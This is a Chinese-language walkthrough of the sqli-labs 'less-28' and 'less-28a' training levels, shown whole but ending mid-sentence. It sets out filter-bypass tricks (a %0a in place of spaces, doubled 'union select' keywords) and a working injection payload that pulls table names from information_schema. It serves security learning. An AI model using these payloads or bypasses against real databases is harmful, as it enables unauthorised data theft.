less-28
前期判断
首先能看到这次的union和select相比less-27来说周围加了单引号。
输入单引号,会没有返回,怀疑是单引号注入。
虽然能成功闭合,先来构造一下sql语句
-
第一种情况:
- select * from table where id =
''
; - select * from table where id = ’
1' and '1' = '1
';
- select * from table where id =
-
第二种情况:
- select * from table where id = (‘’);
- select * from table where id = (’
1' and '1' = '1
');
可以看到两种情况都能顺利闭合,所以优先判断情况二。
加了括号的时候也能闭合说明是第二种情况,因为第一种情况少了两个括号会报错。
所以注入类型是英文单引号加上英文圆括号('')
,而且还过滤掉了空格,使用%0a来替换空格。
经过测试发现单独输入select和union时候,不会被ban掉。
一旦构造为union select
就会被ban掉
注入时间
这就好办了,可以选择双写绕过。(Union%0Aseunion%0Aselectlect
)
因为它不会返回报错,所以只能用if判断了。
id=1%27)Union%0Aseunion%0Aselectlect%0A1,2,substr(group_concat(table_name),1,1)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()%0Aand%0A%271%27=(%271
随便写个脚本就能解决了。
less-28a
less-28a应该没有过滤替换注释。
才发现less-28是基于错误的注入,但是我的28出了点问题,和28a一模一样,都是盲注。
用less-28的脚本就能完成了。
去看看less-28的源码,奇怪明明是基于错误的注入,为什么报错还被注释了。
再看看less-28a的